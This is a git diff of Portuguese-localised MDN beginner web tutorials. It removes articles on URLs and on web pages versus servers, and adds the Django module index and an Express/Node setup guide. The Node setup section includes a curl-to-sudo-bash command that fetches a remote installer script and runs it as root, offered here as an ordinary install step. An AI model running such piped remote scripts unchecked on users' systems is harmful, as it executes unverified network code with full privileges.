There are so many application servers that it's pretty hard to suggest a particular one. Some application servers cater to specific website categories like blogs, wikis or e-shops; others, called {{Glossary("CMS", "CMSs")}} (content management systems), are more generic. If you're building a dynamic website, take the time to choose a tool that fits your needs. Unless you want to learn some web server programming (which is an exciting area in itself!), you don't need to create your own application server. That's just reinventing the wheel.

- -

Passos seguintes

- -

Now that you are familiar with web servers, you could:

- - - -
- - - - - -
diff --git a/files/pt-pt/learn/questoes_comuns/o_que_e_um_url/index.html b/files/pt-pt/learn/questoes_comuns/o_que_e_um_url/index.html deleted file mode 100644 index b61a73433e..0000000000 --- a/files/pt-pt/learn/questoes_comuns/o_que_e_um_url/index.html +++ /dev/null @@ -1,231 +0,0 @@ ---- -title: O que é um URL? -slug: Learn/Questoes_comuns/O_que_e_um_URL -tags: - - Infraestrutura - - Principiante - - URL -translation_of: Learn/Common_questions/What_is_a_URL ---- -
-

This article discusses Uniform Resource Locators (URLs), explaining what they are and how they're structured.

-
- - - - - - - - - - - - -
Prerequisites:You need to first know how the Internet works, what a Web server is and the concepts behind links on the web.
Objective:You will learn what a URL is and how it works on the Web.
- -

Resumo

- -

With {{Glossary("Hypertext")}} and {{Glossary("HTTP")}}, URL is one of the key concepts of the Web. It is the mechanism used by {{Glossary("Browser","browsers")}} to retrieve any published resource on the web.

- -

URL stands for Uniform Resource Locator. A URL is nothing more than the address of a given unique resource on the Web. In theory, each valid URL points to a unique resource. Such resources can be an HTML page, a CSS document, an image, etc. In practice, there are some exceptions, the most common being a URL pointing to a resource that no longer exists or that has moved. As the resource represented by the URL and the URL itself are handled by the Web server, it is up to the owner of the web server to carefully manage that resource and its associated URL.

- -

Aprendizagem Ativa

- -

There is no active learning available yet. Please, consider contributing.

- -

Deeper dive

- -

Basics: anatomy of a URL

- -

Here are some examples of URLs:

- -
https://developer.mozilla.org
-https://developer.mozilla.org/en-US/docs/Learn/
-https://developer.mozilla.org/en-US/search?q=URL
- -

Any of those URLs can be typed into your browser's address bar to tell it to load the associated page (resource).

- -

A URL is composed of different parts, some mandatory and others optional. Let's see the most important parts using the following URL:

- -
http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#SomewhereInTheDocument
- -
-
Protocol
-
http:// is the protocol. It indicates which protocol the browser must use. Usually it is the HTTP protocol or its secured version, HTTPS. The Web requires one of these two, but browsers also know how to handle other protocols such as mailto: (to open a mail client) or ftp: to handle file transfer, so don't be surprised if you see such protocols.
-
Domaine Name
-
www.example.com is the domain name. It indicates which Web server is being requested. Alternatively, it is possible to directly use an {{Glossary("IP address")}}, but because it is less convenient, it is not often used on the Web.
-
Port
-
:80 is the port. It indicates the technical "gate" used to access the resources on the web server. It is usually omitted if the web server uses the standard ports of the HTTP protocol (80 for HTTP and 443 for HTTPS) to grant access to its resources. Otherwise it is mandatory.
-
Path to the file
-
/path/to/myfile.html is the path to the resource on the Web server. In the early days of the Web, a path like this represented a physical file location on the Web server. Nowadays, it is mostly an abstraction handled by Web servers without any physical reality.
-
Parameters
-
?key1=value1&key2=value2 are extra parameters provided to the Web server. Those parameters are a list of key/value pairs separated with the & symbol. The Web server can use those parameters to do extra stuff before returning the resource. Each Web server has its own rules regarding parameters, and the only reliable way to know if a specific Web server is handling parameters is by asking the Web server owner.
-
Anchor
-
#SomewhereInTheDocument is an anchor to another part of the resource itself. An anchor represents a sort of "bookmark" inside the resource, giving the browser the directions to show the content located at that "bookmarked" spot. On an HTML document, for example, the browser will scroll to the point where the anchor is defined; on a video or audio document, the browser will try to go to the time the anchor represents. It is worth noting that the part after the #, also known as the fragment identifier, is never sent to the server with the request.
-
- -

{{Note('There are some extra parts and some extra rules regarding URLs, but they are not relevant for regular users or Web developers. Don\'t worry about this, you don\'t need to know them to build and use fully functional URLs.')}}

- -

You might think of a URL like a regular postal mail address: the protocol represents the postal service you want to use, the domain name is the city or town,  and the port is like the zip code; the path represents the building where your mail should be delivered; the parameters represent extra information such as the number of the apartment in the building; and, finally, the anchor represents the actual person to whom you've addressed your mail.

- -

Como utilizar os URLs

- -

Any URL can be typed right inside the browser's address bar to get to the resource behind it. But this is only the tip of the iceberg!

- -

The {{Glossary("HTML")}} language — which will be discussed later on — makes extensive use of URLs:

- - - -

Other technologies, such as {{Glossary("CSS")}} or {{Glossary("JavaScript")}}, use URLs extensively, and these are really the heart of the Web.

- -

URLs absolutos vs URLs relativos

- -

What we saw above is called an absolute URL, but there is also something called a relative URL. Let's examine what that distinction means in more detail.

- -

The required parts of a URL depend to a great extent on the context in which the URL is used. In your browser's address bar, a URL doesn't have any context, so you must provide a full (or absolute) URL, like the ones we saw above. You don't need to include the protocol (the browser uses HTTP by default) or the port (which is only required when the targeted Web server is using some unusual port), but all the other parts of the URL are necessary.

- -

When a URL is used within a document, such as in an HTML page,  things are a bit different. Because the browser already has the document's own URL, it can use this information to fill in the missing parts of any URL available inside that document. We can differentiate between an absolute URL and a relative URL by looking only at the path part of the URL. If the path part of the URL starts with the "/" character, the browser will fetch that resource from the top root of the server, without reference to the context given by the current document.

- -

Let's look at some examples to make this clearer.

- -

Exemplos de URLs absolutos

- -
-
Full URL (the same as the one we used before)
-
-
https://developer.mozilla.org/en-US/docs/Learn
-
-
Implicit protocol
-
-
//developer.mozilla.org/en-US/docs/Learn
- -

In this case, the browser will call that URL with the same protocol as the the one used to load the document hosting that URL.

-
-
Implicit domain name
-
-
/en-US/docs/Learn
- -

This is the most common use case for an absolute URL within an HTML document. The browser will use the same protocol and the same domain name as the one used to load the document hosting that URL. Note: it isn't possible to omit the domain name without omitting the protocol as well.

-
-
- -

Exemplos de URLs relativos

- -

To better understand the following examples, let's assume that the URLs are called from within the document located at the following URL: https://developer.mozilla.org/en-US/docs/Learn

- -
-
Sub-resources
-
-
Skills/Infrastructure/Understanding_URLs
-
- Because that URL does not start with /, the browser will attempt to find the document in a sub-directory of the one containing the current resource. So in this example,  we really want to reach this URL: https://developer.mozilla.org/en-US/docs/Learn/Skills/Infrastructure/Understanding_URLs
-
Going back in the directory tree
-
-
../CSS/display
- -

In this case, we use the ../ writing convention — inherited from the UNIX file system world — to tell the browser we want to go up from one directory. Here we want to reach this URL: https://developer.mozilla.org/en-US/docs/Learn/../CSS/display, which can be simplified to: https://developer.mozilla.org/en-US/docs/CSS/display

-
-
- -

URLs semânticos

- -

Despite their very technical flavor, URLs represent a human-readable entry point for a Web site. They can be memorized, and anyone can enter them into a browser's address bar. People are at the core of the Web, and so it is considered best practice to build what is called semantic URLs.  Semantic URLs  use words with inherent meaning that can be understood by anyone, regardless of their technical know-how.

- -

Linguistic semantics are of course irrelevant to computers. You've probably often seen URLs that look like mashups of random characters. But there are many advantages  to creating human-readable URLs:

- - - -

Passos seguintes

- - - -
- - - - - -
diff --git a/files/pt-pt/learn/questoes_comuns/qual_e_a_diferenca_entre_pagina_site_servidor_da_web_e_mecanismo_pesquisa/index.html b/files/pt-pt/learn/questoes_comuns/qual_e_a_diferenca_entre_pagina_site_servidor_da_web_e_mecanismo_pesquisa/index.html deleted file mode 100644 index 97655e6edf..0000000000 --- a/files/pt-pt/learn/questoes_comuns/qual_e_a_diferenca_entre_pagina_site_servidor_da_web_e_mecanismo_pesquisa/index.html +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: >- - Qual é a diferença entre página da Web, site da Web, servidor da Web e - mecanismo de pesquisa? -slug: >- - Learn/Questoes_comuns/Qual_e_a_diferenca_entre_pagina_site_servidor_da_web_e_mecanismo_pesquisa -tags: - - Mecânica da Web - - Principiante -translation_of: Learn/Common_questions/Pages_sites_servers_and_search_engines ---- -
-

In this article, we describe various web-related concepts: web pages, websites, web servers, and search engines. These terms are often confused by newcomers to the web or are incorrectly used. Let's learn what they each mean!

-
- - - - - - - - - - - - -
Prerequisites:You should know how the Internet works.
Objective:Be able to describe the differences between a web page, a website, a web server, and a search engine.
- -

Resumo

- -

As with any area of knowledge, the web comes with a lot of jargon. Don't worry, we won't overwhelm you with all of it (we have a glossary if you're curious). However, there are a few basic terms you need to understand at the outset, since you'll hear these expressions all the time as you read on. It's easy to confuse these terms sometimes since they refer to related but different functionalities. In fact, you'll sometimes see these terms misused in news reports and elsewhere, so getting them mixed up is understandable!

- -

We'll cover these terms and technologies in more detail as we explore further, but these quick definitions will be a great start for you:

- -
-
web page
-
A document which can be displayed in a web browser such as Firefox, Google Chrome, Opera, Microsoft Internet Explorer or Edge, or Apple's Safari. These are also often called just "pages."
-
website
-
A collection of web pages which are grouped together and usually connected together in various ways. Often called a "web site" or simply a "site."
-
web server
-
A computer that hosts a website on the Internet.
-
search engine
-
A web service that helps you find other web pages, such as Google, Bing, Yahoo, or DuckDuckGo. Search engines are normally accessed through a web browser (e.g. you can perform search engine searches directly in the address bar of Firefox, Chrome, etc.) or through a web page (e.g. bing.com or duckduckgo.com).
-
- -

Let's look at a simple analogy — a public library. This is what you would generally do when visiting a library:

- -
    -
  1. Find a search index and look for the title of the book you want.
  2. -
  3. Make a note of the catalog number of the book.
  4. -
  5. Go to the particular section containing the book, find the right catalog number, and get the book.
  6. -
- -

Let's compare the library with a web server:

- - - -

Active learning

- -

There is no active learning available yet. Please, consider contributing.

- -

Deeper dive

- -

So, let's dig deeper into how those four terms are related and why they are sometimes confused with each other.

- -

Página da Web

- -

A web page is a simple document displayable by a {{Glossary("browser")}}. Such documents are written in the {{Glossary("HTML")}} language (which we look into in more detail in other articles). A web page can embed a variety of different types of resources such as:

- - - -
-

Note: Browsers can also display other documents such as {{Glossary("PDF")}} files or images, but the term web page specifically refers to HTML documents. Otherwise, we only use the term document.

-
- -

All web pages available on the web are reachable through a unique address. To access a page, just type its address in your browser address bar:

- -

Example of a web page address in the browser address bar

- -

Sites da Web

- -

A website is a collection of linked web pages (plus their associated resources) that share a unique domain name. Each web page of a given website provides explicit links—most of the time in the form of clickable portion of text—that allow the user to move from one page of the website to another.

- -

To access a website, type its domain name in your browser address bar, and the browser will display the website's main web page, or homepage (casually referred as "the home"):

- -

Example of a web site domain name in the browser address bar

- -

The ideas of a web page and a website are especially easy to confuse for a website that contains only one web page. Such a website is sometimes called a single-page website.

- -

Servidor da Web

- -

A web server is a computer hosting one or more websites. "Hosting" means that all the web pages and their supporting files are available on that computer. The web server will send any web page from the website it is hosting to any user's browser, per user request.

- -

Don't confuse websites and web servers. For example, if you hear someone say, "My website is not responding", it actually means that the web server is not responding and therefore the website is not available. More importantly, since a web server can host multiple websites, the term web server is never used to designate a website, as it could cause great confusion. In our previous example, if we said, "My web server is not responding", it means that multiple websites on that web server are not available.

- -

Mecanismo de Pesquisa

- -

Search engines are a common source of confusion on the web. A search engine is a special kind of website that helps users find web pages from other websites.

- -

There are plenty out there: Google, Bing, Yandex, DuckDuckGo, and many more. Some are generic, some are specialized about certain topics. Use whichever you prefer.

- -

Many beginners on the web confuse search engines and browsers. Let's make it clear: A browser is a piece of software that retrieves and displays web pages; a search engine is a website that helps people find web pages from other websites. The confusion arises because, the first time someone launches a browser, the browser displays a search engine's homepage. This makes sense, because, obviously, the first thing you want to do with a browser is to find a web page to display. Don't confuse the infrastructure (e.g., the browser) with the service (e.g., the search engine). The distinction will help you quite a bit, but even some professionals speak loosely, so don't feel anxious about it.

- -

Here is an instance of Firefox showing a Google search box as its default startup page:

- -

Example of Firefox nightly displaying a custom Google page as default

- -

Passos Seguintes

- - diff --git a/files/pt-pt/learn/server-side/django/index.html b/files/pt-pt/learn/server-side/django/index.html new file mode 100644 index 0000000000..295b1e80b4 --- /dev/null +++ b/files/pt-pt/learn/server-side/django/index.html @@ -0,0 +1,68 @@ +--- +title: Framework da Web Django (Python) +slug: Learn/No-servidor/Django +tags: + - Aprender + - CodingScripting + - Introdução + - Principiante + - Programação no lado do servidor + - Python + - django +translation_of: Learn/Server-side/Django +--- +
{{LearnSidebar}}
+ +

Django é uma framework da web do lado do servidor extremamente popular e cheia de recursos, escrita em Python. O módulo mostra-lhe porque Django é uma das frameworks mais populares de servidor da web, como configurar um ambiente de desenvolvimento, e como começar a utilizá-lo para criar as suas próprias aplicações da web.

+ +

Pré-requisitos

+ +

Before starting this module you don't need to have any knowledge of Django. Ideally, you would need to understand what server-side web programming and web frameworks are by reading the topics in our Server-side website programming first steps module.

+ +

A general knowledge of programming concepts and Python is recommended, but is not essential to understanding the core concepts.

+ +
+

Nota: Python is one of the easiest programming languages for novices to read and understand. That said, if you want to understand this module better, there are numerous free books and tutorials available on the Internet to help you out. (new programmers might want to check out the Python for Non Programmers page on the python.org wiki).

+
+ +

Guias

+ +
+
Django introduction
+
In this first Django article we answer the question "What is Django?" and give you an overview of what makes this web framework special. We'll outline the main features, including some advanced functionality that we won't have time to cover in detail in this module. We'll also show you some of the main building blocks of a Django application, to give you an idea of what it can do before you set it up and start playing.
+
Setting up a Django development environment
+
Now that you know what Django is for, we'll show you how to setup and test a Django development environment on Windows, Linux (Ubuntu), and Mac OS X — whatever common operating system you are using, this article should give you what you need to be able to start developing Django apps.
+
Django Tutorial: The Local Library website
+
The first article in our practical tutorial series explains what you'll learn, and provides an overview of the "local library" — an example website we'll be working through and evolving in subsequent articles.
+
Django Tutorial Part 2: Creating a skeleton website
+
This article shows how you can create a "skeleton" website project as a basis, which you can then go on to populate with site-specific settings, urls, models, views, and templates.
+
Django Tutorial Part 3: Using models
+
This article shows how to define models for the LocalLibrary website — models represent the data structures we want to store our app's data in, and also allow Django to store data in a database for us (and modify it later on). It explains what a model is, how it is declared, and some of the main field types. It also briefly shows a few of the main ways you can access model data.
+
Django Tutorial Part 4: Django admin site
+
Now that we've created models for the LocalLibrary website, we'll use the Django Admin site to add some "real" book data. First we'll show you how to register the models with the admin site, then we'll show you how to login and create some data. At the end we show some ways in which you can further improve the presentation of the admin site.
+
Django Tutorial Part 5: Creating our home page
+
We're now ready to add the code to display our first full page — a home page for the LocalLibrary that shows how many records we have of each model type and provides sidebar navigation links to our other pages. Along the way we'll gain practical experience in writing basic URL maps and views, getting records from the database, and using templates.
+
Django Tutorial Part 6: Generic list and detail views
+
This tutorial extends our LocalLibrary website, adding list and detail pages for books and authors. Here we'll learn about generic class-based views, and show how they can reduce the amount of code you have to write for common use cases. We'll also go into URL handling in greater detail, showing how to perform basic pattern matching.
+
Django Tutorial Part 7: Sessions framework
+
This tutorial extends our LocalLibrary website, adding a session-based visit-counter to the home page. This is a relatively simple example, but it does show how you can use the session framework to provide persistent behaviour for anonymous users in your own sites.
+
Django Tutorial Part 8: User authentication and permissions
+
In this tutorial we'll show you how to allow users to login to your site with their own accounts, and how to control what they can do and see based on whether or not they are logged in and their permissions. As part of this demonstration we'll extend the LocalLibrary website, adding login and logout pages, and user- and staff-specific pages for viewing books that have been borrowed.
+
Django Tutorial Part 9: Working with forms
+
In this tutorial we'll show you how to work with HTML Forms in Django, and in particular the easiest way to write forms to create, update, and delete model instances. As part of this demonstration we'll extend the LocalLibrary website so that librarians can renew books, and create, update, and delete authors using our own forms (rather than using the admin application).
+
Django Tutorial Part 10: Testing a Django web application
+
As websites grow they become harder to test manually — not only is there more to test, but, as the interactions between components become more complex, a small change in one area can require many additional tests to verify its impact on other areas. One way to mitigate these problems is to write automated tests, which can easily and reliably be run every time you make a change. This tutorial shows how to automate unit testing of your website using Django's test framework.
+
Django Tutorial Part 11: Deploying Django to production
+
Now you've created (and tested) an awesome LocalLibrary website, you're going to want to install it on a public web server so that it can be accessed by library staff and members over the Internet. This article provides an overview of how you might go about finding a host to deploy your website, and what you need to do in order to get your site ready for production.
+
Django web application security
+
Protecting user data is an essential part of any website design. We previously explained some of the more common security threats in the article Web security — this article provides a practical demonstration of how Django's in-built protections handle such threats.
+
+ +

Avaliações

+ +

The following assessment will test your understanding of how to create a website using Django, as described in the guides listed above.

+ +
+
DIY Django mini blog
+
In this assessment you'll use some of the knowledge you've learned from this module to create your own blog.
+
diff --git a/files/pt-pt/learn/server-side/express_nodejs/development_environment/index.html b/files/pt-pt/learn/server-side/express_nodejs/development_environment/index.html new file mode 100644 index 0000000000..242d0be946 --- /dev/null +++ b/files/pt-pt/learn/server-side/express_nodejs/development_environment/index.html @@ -0,0 +1,406 @@ +--- +title: Configurar um meio de desenvolvimento Node +slug: Learn/No-servidor/Express_Nodejs/Configurar_um_meio_de_desenvolvimento_Node +tags: + - Ambiente de desenvolvimento + - Aprender + - CodingScripting + - Express + - Introdução + - Node + - Nodo + - Principiante + - lado do servidor + - nodejs + - npm +translation_of: Learn/Server-side/Express_Nodejs/development_environment +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Introduction", "Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs")}}
+ +

Agora que sabe para que serve o Express, nós iremos mostrar-lhe como configurar e testar um ambiente de desenvolvimento Node/Express no Linux, (Ubuntu), macOS e Windows. Qualquer que seja o sistema operativo comum que esteja a utilizar, este artigo deverá fornecer-lhe o que precisa para começar a desenvolver aplicações Express.

+ + + + + + + + + + + + +
Pré-requisitos:Know how to open a terminal / command line. Know how to install software packages on your development computer's operating system.
Objetivo:To set up a development environment for Express (X.XX) on your computer.
+ +

Resumo do ambiente de desenvolvimento Express

+ +

Node and Express make it very easy to set up your computer in order to start developing web applications. This section provides an overview of what tools are needed, explains some of the simplest methods for installing Node (and Express) on Ubuntu, macOS, and Windows, and shows how you can test your installation.

+ +

O que é o ambiente de desenvolvimento Express?

+ +

The Express development environment includes an installation of Nodejs, the NPM package manager, and (optionally) the Express Application Generator on your local computer.

+ +

Node and the NPM package manager are installed together from prepared binary packages, installers, operating system package managers or from source (as shown in the following sections). Express is then installed by NPM as a dependency of your individual Express web applications (along with other libraries like template engines, database drivers, authentication middleware, middleware to serve static files, etc.)

+ +

NPM can also be used to (globally) install the Express Application Generator, a handy tool for creating skeleton Express web apps that follow the MVC pattern. The application generator is optional because you don't need to use this tool to create apps that use Express, or construct Express apps that have the same architectural layout or dependencies. We'll be using it though, because it makes getting started a lot easier, and promotes a modular application structure.

+ +
+

Nota: Unlike for some other web frameworks, the development environment does not include a separate development web server. In Node/Express a web application creates and runs its own web server!

+
+ +

There are other peripheral tools that are part of a typical development environment, including text editors or IDEs for editing code, and source control management tools like Git for safely managing different versions of your code. We are assuming that you've already got these sorts of tools installed (in particular a text editor).

+ +

Quais são os sistemas operativos suportados?

+ +

Node can be run on Windows, macOS, many "flavours" of Linux, Docker, etc. (there is a full list on the nodejs Downloads page). Almost any personal computer should have the necessary performance to run Node during development. Express is run in a Node environment, and hence can run on any platform that runs Node.

+ +

In this article we provide setup instructions for Windows, macOS, and Ubuntu Linux.

+ +

Que versão de Node/Express deverei utilizar?

+ +

There are many releases of Node — newer releases contain bug fixes, support for more recent versions of ECMAScript (JavaScript) standards, and improvements to the Node APIs. 

+ +

Generally you should use the most recent LTS (long-term supported) release as this will be more stable than the "current" release while still having relatively recent features (and is still being actively maintained). You should use the Current release if you need a feature that is not present in the LTS version.

+ +

For Express you should always use the latest version.

+ +

E as bases de dados e outras dependências?

+ +

Other dependencies, such as database drivers, template engines, authentication engines, etc. are part of the application, and are imported into the application environment using the NPM package manager.  We'll discuss them in later app-specific articles.

+ +

Instalação de Node

+ +

In order to use Express you will first have to install Nodejs and the Node Package Manager (NPM) on your operating system. The following sections explain the easiest way to install the Long Term Supported (LTS) version of Nodejs on Ubuntu Linux 16.04, macOS, and Windows 10.

+ +
+

Dica: The sections below show the easiest way to install Node and NPM on our target OS platforms. If you're using another OS or just want to see some of the other approaches for the current platforms then see Installing Node.js via package manager (nodejs.org).

+
+ +

macOS e Windows

+ +

Installing Node and NPM on Windows and macOS is straightforward because you can just use the provided installer:

+ +
    +
  1. Download the required installer: +
      +
    1. Go to https://nodejs.org/en/
    2. +
    3. Select the button to download the LTS build that is "Recommended for most users".
    4. +
    +
  2. +
  3. Install Node by double-clicking on the downloaded file and following the installation prompts.
  4. +
+ +

Ubuntu 16.04

+ +

The easiest way to install the most recent LTS version of Node 6.x is to use the package manager to get it from the Ubuntu binary distributions repository. This can be done very simply by running the following two commands on your terminal:

+ +
curl -sL https://deb.nodesource.com/setup_8.x | sudo -E bash -
+sudo apt-get install -y nodejs
+
+ +
+

Aviso: Don't install directly from the normal Ubuntu repositories because they contain very old versions of node.

+
+ +
    +
+ +

Testar a instalação do seu Nodejs e NPM

+ +

The easiest way to test that node is installed is to run the "version" command in your terminal/command prompt and check that a version string is returned:

+ +
>node -v
+v8.11.3
+ +

The Nodejs package manager NPM should also have been installed, and can be tested in the same way:

+ +
>npm -v
+5.8.0
+ +

As a slightly more exciting test let's create a very basic "pure node" server that simply prints out "Hello World" in the browser when you visit the correct URL in your browser:

+ +
    +
  1. Copy the following text into a file named hellonode.js. This uses pure Node features (nothing from Express) and some ES6 syntax: + +
    //Load HTTP module
    +const http = require("http");
    +const hostname = '127.0.0.1';
    +const port = 3000;
    +
    +//Create HTTP server and listen on port 3000 for requests
    +const server = http.createServer((req, res) => {
    +
    +  //Set the response HTTP header with HTTP status and Content type
    +  res.statusCode = 200;
    +  res.setHeader('Content-Type', 'text/plain');
    +  res.end('Hello World\n');
    +});
    +
    +//listen for request on port 3000, and as a callback function have the port listened on logged
    +server.listen(port, hostname, () => {
    +  console.log(`Server running at http://${hostname}:${port}/`);
    +});
    +
    +
    + +

    The code imports the "http" module and uses it to create a server (createServer()) that listens for HTTP requests on port 3000. The script then prints a message to the console about what browser URL you can use to test the server. The createServer() function takes as an argument a callback function that will be invoked when an HTTP request is received — this simply returns a response with an HTTP status code of 200 ("OK") and the plain text "Hello World".

    + +
    +

    Nota:  Don't worry if you don't understand exactly what this code is doing yet! We'll explain our code in greater detail once we start using Express!

    +
    +
  2. +
  3. Start the server by navigating into the same directory as your hellonode.js file in your command prompt, and calling node along with the script name, like so: +
    >node hellonode.js
    +Server running at http://127.0.0.1:3000/
    +
    +
  4. +
  5. Navigate to the URL http://127.0.0.1:3000 . If everything is working, the browser should simply display the string "Hello World".
  6. +
+ +

Utilização de NPM

+ +

Next to Node itself, NPM is the most important tool for working with Node applications. NPM is used to fetch any packages (JavaScript libraries) that an application needs for development, testing, and/or production, and may also be used to run tests and tools used in the development process. 

+ +
+

Nota: From Node's perspective, Express is just another package that you need to install using NPM and then require in your own code.

+
+ +

You can manually use NPM to separately fetch each needed package. Typically we instead manage dependencies using a plain-text definition file named package.json. This file lists all the dependencies for a specific JavaScript "package", including the package's name, version, description, initial file to execute, production dependencies, development dependencies, versions of Node it can work with, etc. The package.json file should contain everything NPM needs to fetch and run your application (if you were writing a reusable library you could use this definition to upload your package to the npm respository and make it available for other users).

+ +

Adicionar dependências

+ +

The following steps show how you can use NPM to download a package, save it into the project dependencies, and then require it in a Node application.

+ +
+

Nota: Here we show the instructions to fetch and install the Express package. Later on we'll show how this package, and others, are already specified for us using the Express Application Generator. This section is provided because it is useful to understand how NPM works and what is being created by the application generator.

+
+ +
    +
  1. First create a directory for your new application and navigate into it: +
    mkdir myapp
    +cd myapp
    +
  2. +
  3. Use the npm init command to create a package.json file for your application. This command prompts you for a number of things, including the name and version of your application and the name of the initial entry point file (by default this is index.js). For now, just accept the defaults: +
    npm init
    + +

    If you display the package.json file (cat package.json), you will see the defaults that you accepted, ending with the license.

    + +
    {
    +  "name": "myapp",
    +  "version": "1.0.0",
    +  "description": "",
    +  "main": "index.js",
    +  "scripts": {
    +    "test": "echo \"Error: no test specified\" && exit 1"
    +  },
    +  "author": "",
    +  "license": "ISC"
    +}
    +
    +
  4. +
  5. Now install Express in the myapp directory and save it in the dependencies list of your package.json file
  6. +
  7. +
    npm install express --save
    + +

    The dependencies section of your package.json will now appear at the end of the package.json file and will include Express.

    + +
    {
    +  "name": "myapp",
    +  "version": "1.0.0",
    +  "description": "",
    +  "main": "index.js",
    +  "scripts": {
    +    "test": "echo \"Error: no test specified\" && exit 1"
    +  },
    +  "author": "",
    +  "license": "ISC",
    +  "dependencies": {
    +    "express": "^4.16.2"
    +  }
    +}
    +
    +
  8. +
  9. To use the library you call the require() function as shown below. +
    const express = require('express')
    +const app = express();
    +
    +app.get('/', (req, res) => {
    +  res.send('Hello World!')
    +});
    +
    +app.listen(8000, () => {
    +  console.log('Example app listening on port 8000!')
    +});
    +
    + +

    This code shows a minimal "HelloWorld" Express web application. This imports the "express" module and uses it to create a server (app) that listens for HTTP requests on port 8000 and prints a message to the console explaining what browser URL you can use to test the server. The app.get() function only responds to HTTP GET requests with the specified URL path ('/'), in this case by calling a function to send our Hello World! message. 
    +
    + Create a file named index.js in the root of the "myapp" application directory and give it the contents shown above.

    +
  10. +
  11. You can start the server by calling node with the script in your command prompt: +
    >node index.js
    +Example app listening on port 8000
    +
    +
  12. +
  13. Navigate to the URL (http://127.0.0.1:8000/). If everything is working, the browser should simply display the string "Hello World!".
  14. +
+ +

Dependências de desenvolvimento

+ +

If a dependency is only used during development, you should instead save it as a "development dependency" (so that your package users don't have to install it in production). For example, to use the popular JavaScript Linting tool eslint you would call NPM as shown:

+ +
npm install eslint --save-dev
+ +

The following entry would then be added to your application's package.json:

+ +
  "devDependencies": {
+    "eslint": "^4.12.1"
+  }
+
+ +
+

Nota: "Linters" are tools that perform static analysis on software in order to recognise and report adherence/non-adherance to some set of coding best practice.

+
+ +

Execução de tarefas

+ +

In addition to defining and fetching dependencies you can also define named scripts in your package.json files and call NPM to execute them with the run-script command. This approach is commonly used to automate running tests and parts of the development or build toolchain (e.g., running tools to minify JavaScript, shrink images, LINT/analyse your code, etc).

+ +
+

Nota: Task runners like Gulp and Grunt can also be used to run tests and other external tools.

+
+ +

For example, to define a script to run the eslint development dependency that we specified in the previous section we might add the following script block to our package.json file (assuming that our application source is in a folder /src/js):

+ +
"scripts": {
+  ...
+  "lint": "eslint src/js"
+  ...
+}
+
+ +

To explain a little further, eslint src/js is a command that we could enter in our terminal/command line to run eslint on JavaScript files contained in the src/js directory inside our app directory. Including the above inside our app's package.json file provides a shortcut for this command — lint.

+ +

We would then be able to run eslint using NPM by calling:

+ +
npm run-script lint
+# OR (using the alias)
+npm run lint
+
+ +

This example may not look any shorter than the original command, but you can include much bigger commands inside your npm scripts, including chains of multiple commands. You could identify a single npm script that runs all your tests at once.

+ +

Instalar o Gerador de Aplicação Express

+ +

The Express Application Generator tool generates an Express application "skeleton". Install the generator using NPM as shown (the -g flag installs the tool globally so that you can call it from anywhere):

+ +
npm install express-generator -g
+ +

To create an Express app named "helloworld" with the default settings, navigate to where you want to create it and run the app as shown:

+ +
express helloworld
+ +
+

Nota: You can also specify the template library to use and a number of other settings. Use the help command to see all the options:

+ +
express --help
+
+ +

 

+
+ +

NPM will create the new Express app in a sub folder of your current location, displaying build progress on the console. On completion, the tool will display the commands you need to enter to install the Node dependencies and start the app.

+ +
+

The new app will have a package.json file in its root directory. You can open this to see what dependencies are installed, including Express and the template library Jade:

+ +
{
+  "name": "helloworld",
+  "version": "0.0.0",
+  "private": true,
+  "scripts": {
+    "start": "node ./bin/www"
+  },
+  "dependencies": {
+    "body-parser": "~1.18.2",
+    "cookie-parser": "~1.4.3",
+    "debug": "~2.6.9",
+    "express": "~4.15.5",
+    "jade": "~1.11.0",
+    "morgan": "~1.9.0",
+    "serve-favicon": "~2.4.5"
+  }
+}
+ +

 

+
+ +

Install all the dependencies for the helloworld app using NPM as shown:

+ +
cd helloworld
+npm install
+
+ +

Then run the app (the commands are slightly different for Windows and Linux/macOS), as shown below:

+ +
# Run the helloworld on Windows
+SET DEBUG=helloworld:* & npm start
+
+# Run helloworld on Linux/macOS
+DEBUG=helloworld:* npm start
+
+ +

The DEBUG command creates useful logging, resulting in an output like that shown below.

+ +
>SET DEBUG=helloworld:* & npm start
+
+> helloworld@0.0.0 start D:\Github\expresstests\helloworld
+> node ./bin/www
+
+  helloworld:server Listening on port 3000 +0ms
+ +

Open a browser and navigate to http://127.0.0.1:3000/ to see the default Express welcome page.

+ +

Express - Generated App Default Screen

+ +

We'll talk more about the generated app when we get to the article on generating a skeleton application.

+ + + +

Resumo

+ +

You now have a Node development environment up and running on your computer that can be used for creating Express web applications. You've also seen how NPM can be used to import Express into an application, and also how you can create applications using the Express Application Generator tool and then run them.

+ +

In the next article we start working through a tutorial to build a complete web application using this environment and associated tools.

+ +

Consulte também

+ + + +

{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Introduction", "Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs")}}

+ +

 

+ +

Neste módulop

+ + + +

 

diff --git a/files/pt-pt/learn/server-side/express_nodejs/index.html b/files/pt-pt/learn/server-side/express_nodejs/index.html new file mode 100644 index 0000000000..1c7e7413ec --- /dev/null +++ b/files/pt-pt/learn/server-side/express_nodejs/index.html @@ -0,0 +1,76 @@ +--- +title: Framework da Web Express (Node.js/JavaScript) +slug: Learn/No-servidor/Express_Nodejs +tags: + - Aprender + - CodingScripting + - Express + - Express.js + - Introdução + - JavaScript + - Node + - Nodo + - Principiante + - Programação no lado do servidor + - node.js +translation_of: Learn/Server-side/Express_Nodejs +--- +
{{LearnSidebar}}
+ +

Express é uma das frameworks mais populares, escrita em JavaScript e hospedada dentro do próprio ambiente de execução node.js. Este módulo explica alguns dos benefícios chave desta framework, como configurar o seu ambiente de desenvolvimento e como realizar tarefas comuns de desenvolvimento da web e tarefas de implementação.

+ +

Pré-requisitos

+ +

Antes de iniciar este módulo, você precisará entender o que são os programas da web e do lado do servidor, idealmente lendo os tópicos no nosso módulo Os primeiros passos de programação do sites da Web no lado do servidor. Um conhecimento geral de conceitos de programação e JavaScript é altamente recomendado, mas não essencial para compreender os conceitos fundamentais.

+ +
+

